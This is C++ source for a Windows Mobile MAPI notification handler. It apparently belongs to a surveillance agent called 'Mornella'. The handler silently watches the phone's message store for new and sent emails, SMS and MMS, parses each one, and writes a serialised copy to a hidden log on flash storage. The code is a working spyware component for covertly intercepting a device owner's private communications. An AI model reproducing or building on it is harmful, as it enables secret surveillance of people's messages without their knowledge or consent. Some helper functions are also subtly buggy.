#include "MAPIAdviseSink.h"
#include "MAPIMessage.h"

#include <memory>

// Includes from Mornella core
#include "Common.h"
#include "Log.h"

#include <cemapi.h>

#define INITGUID
#define USES_IID_IMAPIAdviseSink
#include <initguid.h>
#include <mapiguid.h>

BOOL isSentMailBox(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);
LPWSTR getFolderName(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);
LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID);

CMAPIAdviseSink::CMAPIAdviseSink(IMAPISession& session)
: m_pStore(NULL), _session(session)
{
}

CMAPIAdviseSink::~CMAPIAdviseSink(void)
{
  if (m_pStore)
    m_pStore->Release();
}

// IMAPIAdviseSink's IUnknown interface
STDMETHODIMP CMAPIAdviseSink::QueryInterface(REFIID riid, LPVOID *ppv) {
	if(IsEqualIID(riid, IID_IUnknown) || IsEqualIID(riid, IID_IMAPIAdviseSink)){
			 *ppv = (IMAPIAdviseSink *)this;
			 AddRef();
			 return NO_ERROR;
	 }
	 *ppv = NULL;
	 
	 return E_NOINTERFACE;
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::AddRef() {
	return (ULONG)InterlockedIncrement(&m_lRef);
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::Release() {
	ULONG ulCount = (ULONG)InterlockedDecrement(&m_lRef);
	if(ulCount == 0)
		delete this;
	return ulCount;
}

STDMETHODIMP_(ULONG) CMAPIAdviseSink::OnNotify(ULONG cNotif, LPNOTIFICATION lpNotifications)
{
	(void) cNotif;
	ULONG notification_type = lpNotifications->ulEventType;

	// log only messages created or moved
	if (notification_type != fnevObjectCreated && notification_type != fnevObjectMoved ) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [uninteresting notification] ", 5, FALSE);
		return S_OK;
	}
	
	DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [notification] ", 5, FALSE);
	
	if ( lpNotifications->info.obj.ulObjType != MAPI_MESSAGE ) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [not for a message, ignoring] ", 5, FALSE);
		return S_OK;
	}
	
#if DEBUG
	if (notification_type == fnevObjectCreated) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [new message] ", 5, FALSE);
	} else {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [moved message] ", 5, FALSE);
	}
#endif
	
	OBJECT_NOTIFICATION* obj = &lpNotifications->info.obj;
	HRESULT hRes = E_FAIL;
	
	/* open the message */
	LPMESSAGE lpMsg = openMessage( m_pStore, obj->cbEntryID, obj->lpEntryID);
	if (lpMsg == NULL) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot open message]", 5, FALSE);
		return S_OK;
	}
	
	std::auto_ptr<MAPIMessage> message;
	message.reset(new MAPIMessage(lpMsg));
	
	/* set folder */
	LPWSTR folderName = getFolderName(m_pStore, obj->cbParentID, obj->lpParentID);
	message->SetFolder( folderName );
	
	/* parse the message*/
	if ( FAILED( message->Parse(REALTIME) ) ) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR parsing message]", 5, FALSE);
		return S_OK;
	}
	
#if DEBUG
	if (message->isMail()) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [Mail message]", 5, FALSE);
	} else if (message->isSMS()) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [SMS message]", 5, FALSE);
	} else if (message->isMMS()) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [MMS message]", 5, FALSE);
	}
#endif
	
	if ( message->isMail() ) {
		/* if this is a MAIL message, it MUST have a body */	
		if ( ! message->hasBody() ) {
			DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR does not have a body]", 5, FALSE);
			return S_OK;
		}
		
		/* me get moved mail only if we are in Sent Mail box */
		if ( notification_type == fnevObjectMoved ) {
			if ( ! isSentMailBox(m_pStore, obj->cbParentID, obj->lpParentID) ) {
				DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR folder is not Sent Mail]", 5, FALSE);
				return S_OK;
			}
		}
	} else if ( message->isSMS() ) {
		/* we get SMSs only upon creation */
		if (notification_type != fnevObjectCreated && notification_type != fnevObjectMoved) {
			DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR SMS moved, ignoring]", 5, FALSE);
			return S_OK;
		}

		/* check if SMS data is consistent */
		if (message->From() == message->To()) {
			DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message from local to local, ignoring]", 5, FALSE);
			return S_OK;
		}
	}
	
	if ( ! LogMessage(*message) ) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message not logged]", 5, FALSE);
		return S_OK;
	}
	
	DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [message logged!]", 5, FALSE);

	return S_OK;
}

BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message )
{
	HRESULT hRes = E_FAIL;
	
	DWORD cbSize;
	std::auto_ptr<BYTE> lpData;
	lpData.reset( message.Serialize(&cbSize) );
	if (lpData.get() == NULL) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE);
		return FALSE;
	}
	
	Log pLog;
	UINT log_type = LOGTYPE_MAIL;
	
	if (CmpWildW(CLASS_MAIL, message.Class()) != 0)
		log_type = LOGTYPE_MAIL;
	else if (CmpWildW(CLASS_SMS, message.Class()) != 0)
		log_type = LOGTYPE_SMS;
	else if (CmpWildW(CLASS_MMS, message.Class()) != 0)
		log_type = LOGTYPE_MMS;
	
	if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE);
		return FALSE;
	}
	
	pLog.WriteLog(lpData.get(), cbSize);
	pLog.CloseLog();
	
	DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize);
	
	return TRUE;
}

bool CMAPIAdviseSink::_GetIgnoredFolders()
{
  LPSPropValue rgprops = NULL;
  // LPSPropValue lppPropArray = NULL;
  ULONG cValues = 0;
  // IMAPIFolder *pPOPInboxFolder = NULL;
  
  SizedSPropTagArray(1, rgFolderTags) = {1, { /* PR_IPM_OUTBOX_ENTRYID, */ PR_CE_IPM_DRAFTS_ENTRYID, } };
  
  HRESULT hr = m_pStore->GetProps((LPSPropTagArray)&rgFolderTags, MAPI_UNICODE, &cValues, &rgprops);
  if(FAILED(hr))
    return false;
  
  for (ULONG i = 0; i < 1; i++)
  {
    ULONG cbEntryID = rgprops[i].Value.bin.cb;
    LPENTRYID lpEntryID = (LPENTRYID)rgprops[i].Value.bin.lpb;
    
    rawEntryID* reID = new rawEntryID;
    reID->cbSize = cbEntryID;
    reID->lpEntryID = (LPBYTE)lpEntryID;
    
    //_ignoredFolders.push_back(reID);
    
    IMAPIFolder* pFolder = NULL;
    hr = m_pStore->OpenEntry(
      cbEntryID,
      lpEntryID,
      NULL, 
      MAPI_MODIFY,
      NULL, 
      (LPUNKNOWN*)&pFolder);
	if (!pFolder) {
		MAPIFreeBuffer(rgprops);
		return false;
	}

    SizedSPropTagArray(1, ptaFolder) = {1, {PR_DISPLAY_NAME}};
    LPSPropValue rgFolderProps = NULL;
    pFolder->GetProps((LPSPropTagArray)&ptaFolder, MAPI_UNICODE, &cValues, &rgFolderProps);
    LPWSTR lpFolderName = rgFolderProps[0].Value.lpszW;
    
  }
  
  MAPIFreeBuffer(rgprops);
  
  return true;
}

bool CMAPIAdviseSink::_IsIgnoredFolder( ULONG cbEntryId, LPBYTE lpEntryID )
{
  for (std::list<rawEntryID*>::iterator i = _ignoredFolders.begin(); i != _ignoredFolders.end(); i++)
  {
    rawEntryID* reID = *i;
    
    if (cbEntryId == reID->cbSize)
    {
      int eq = memcmp(lpEntryID, reID->lpEntryID, cbEntryId);
      if (eq == 0)
        return true;
    }
  }
  
  return false;
}

void CMAPIAdviseSink::Unadvise()
{
	m_pStore->Unadvise(m_ulConnectionNumber);
}

BOOL isSentMailBox(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID) 
{
	HRESULT hRes = E_FAIL;
	ULONG rgTags[] = { 1, PR_IPM_SENTMAIL_ENTRYID};
	LPSPropValue rgStoreProps = NULL;
	ULONG cValues = 0;
	hRes = pStore->GetProps((LPSPropTagArray) rgTags, MAPI_UNICODE, &cValues, &rgStoreProps);
	if (FAILED(hRes)) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - isSentMailBox() [cannot determine, assuming it is]", 5, FALSE);
		return TRUE;
	}

	if(rgStoreProps[0].ulPropTag == PR_IPM_SENTMAIL_ENTRYID) {
		return TRUE;
	}

	return FALSE;
}

LPWSTR getFolderName(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID) 
{
	
	HRESULT hRes = E_FAIL;
	ULONG ulObjType = MAPI_FOLDER;
	LPMAPIFOLDER lpFolder = NULL;
	
	// Get parent folder
	hRes = pStore->OpenEntry(cbEntryID, lpEntryID, 0, 0, &ulObjType, (LPUNKNOWN*)&lpFolder);
	if (hRes != S_OK) {
		return NULL;
	}
	
	SizedSPropTagArray(2, ptaFolder) = {2, {PR_DISPLAY_NAME, PR_ENTRYID}};
	LPSPropValue rgFolderProps = NULL;
	ULONG cValues = 0;
	
	// Get parent folder properties
	hRes = lpFolder->GetProps((LPSPropTagArray)&ptaFolder, MAPI_UNICODE, &cValues, &rgFolderProps);
	if (hRes != S_OK) {
		lpFolder->Release();
		return NULL;
	}
	
	// folder name
	return rgFolderProps[0].Value.lpszW;
}

LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID)
{
	// Open message
	LPMESSAGE lpMessage = NULL;
	HRESULT hRes = pStore->OpenEntry(cbEntryID, 
		lpEntryID, 
		NULL, 
		0, 
		NULL, 
		(LPUNKNOWN *)&lpMessage);
	if (hRes != S_OK) {
		switch (hRes) {
		  case MAPI_E_NOT_FOUND:
			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR message not found]", 5, FALSE);
			  return NULL;
			  break;
		  default:
			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR generic while opening] ", 5, FALSE);
			  return NULL;
			  break;
		}
	}

	return lpMessage;
}